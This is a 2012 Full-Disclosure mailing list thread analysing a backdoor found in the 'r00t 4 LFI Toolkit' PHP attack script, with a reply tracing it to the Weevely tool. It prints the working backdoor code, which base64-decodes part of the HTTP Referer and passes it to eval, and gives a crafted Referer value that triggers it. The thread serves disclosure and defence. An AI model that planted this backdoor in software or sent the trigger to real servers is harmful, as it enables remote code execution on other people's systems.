Re: [Full-disclosure] Analysis of the "r00t 4 LFI Toolkit"

[InterN0T Advisories <advisories@xxxxxxxxxxxx>]

Thank you for the response, I didn't know it was included in the Weevely
tool, but I did see it used in a few "priv8" PHP shells too.

On Sun, 19 Feb 2012 19:32:13 +0200, Anestis Bechtsoudis
<bechtsoudis.a@xxxxxxxxx> wrote:
> The backdoor PHP code that you included is exactly the same as generated
> by Weevely [1] tool, until the 0.4 version of the tool.
> 
> For convenience I include the base64 decoded Weevely code here too:
> 
> ini_set('error_log','/dev/null');
> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
> count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+",
> join(array_slice($a,count($a)-3)))));echo '</pass>';}
> 
> 
> For more details you can refer at a relevant post I wrote recently [2].
> 
> I haven't dig into "r00t 4 LFI" source code, but from your analysis the
> similarities are pretty obvious.
> 
> ps: This email has been BCC'ed to Weevely developer.
> 
> 
> [1] http://code.google.com/p/weevely/
> [2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/
> 
> 
> On 02/19/2012 07:01 PM, InterN0T Advisories wrote:
>> Dear Full Disclosure readers,
>> 
>> 
>> Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
>> Toolkit", that according to its description:
>> -------------------------------------------
>> This tool is a php script that assists in performing local file
inclusion
>> attacks.
>> -------------------------------------------
>> 
>>>> Should be able to perform local file inclusion attacks.
>> 
>> 
>> -:: Overview ::- 
>> 
>> After studying this tool for a brief 5 minutes, it was obvious that it
>> was
>> nowhere what I hoped it to be, as the tool only use one method, the
>> "/proc/self/environ" vector (as seen on e.g., the intern0t forums and
>> many
>> other sites). 
>> 
>> The tool is therefore, not capable of performing "attacks", but only 1,
>> single type of LFI attack. (Note that the 'S' has been removed.) 
>> 
>> The method this tool uses, is far from new and doesn't always work
>> either,
>> but it's a nice trick that e.g., SirGod wrote about on the intern0t
>> forums
>> in 2009. (This tool was released the 18th February 2012.)
>> 
>> 
>> -:: Vulnerabilities ::- 
>> 
>> Further study of this tool reveals:
>> - None of the output from the tool is sanitized, meaning the attacker
>> using the script, can get XSS'd (and CSRF'd), if the target has changed
>> e.g., the 'uname -a' command (which is relatively simple to do), to
>> include
>> (print) JavaScript instead. If this happens, the attacker may end up
>> attacking himself, crashing or something third, depending on the type
of
>> XSS payload.
>> 
>> - The most interesting part, is on line 92, where the "developer"
>> (KedAns-Dz), has decided to >>backdoor<< the tool.
>> 
>> 
>> -:: The Backdoor ::- 
>> 
>> Analysis of the backdoor:
>> By sending a HTTP request, that includes a specially crafted referer,
it
>> is possible to execute PHP code:
>> -------------------------------------------
>> Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw==
>> -------------------------------------------
>> 
>> 
>> This referer will make the script execute: phpinfo();
>> 
>> 
>> -:: Code Review ::-
>> 
>> The code that enables the developer to use the script as a backdoor
looks
>> like the following:
>> -------------------------------------------
>> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' &&
>> count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+",
>> join(array_slice($a,count($a)-3)))));echo '</star>';} 
>> -------------------------------------------
>> 
>> 
>> It certainly took a little bit of study to trigger, but in essence
here's
>> what it do:
>> 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not
>> included.)
>> 2. If the first array value (not key / arg), is a string named: iz
>> 3. And if there's 9 (different) arrays, then
>> 4. Print out the contents of..
>> 
>> 
>> This requires a bit more in-depth explanation:
>> A) Evaluate the following as PHP code:
>> B) Base64_decode the input:
>> C) Replace " " (space) with "+" (plus), in case they occur.
>> D) Use the last three array values from the HTTP referer.
>> (You don't have to use all three, using the last will work fine.)
>> 
>> 
>> To make it all a lot more simple:
>> -------------------------------------------
>>
Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
>> Code that will be executed as PHP.]
>> -------------------------------------------
>> 
>> 
>> Screenshot:
>> http://i.imgur.com/PXcSX.png
>> 
>> 
>> References:
>>
http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html
>>
http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html
>> http://packetstormsecurity.org/files/109940/
>> https://twitter.com/#!/j0emccray/status/170941195030233090
>> https://twitter.com/#!/EChavarro/status/170941489629761537
>> http://i.imgur.com/PXcSX.png
>> 
>> 
>> 
>> Best regards,
>> MaXe
>> 
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/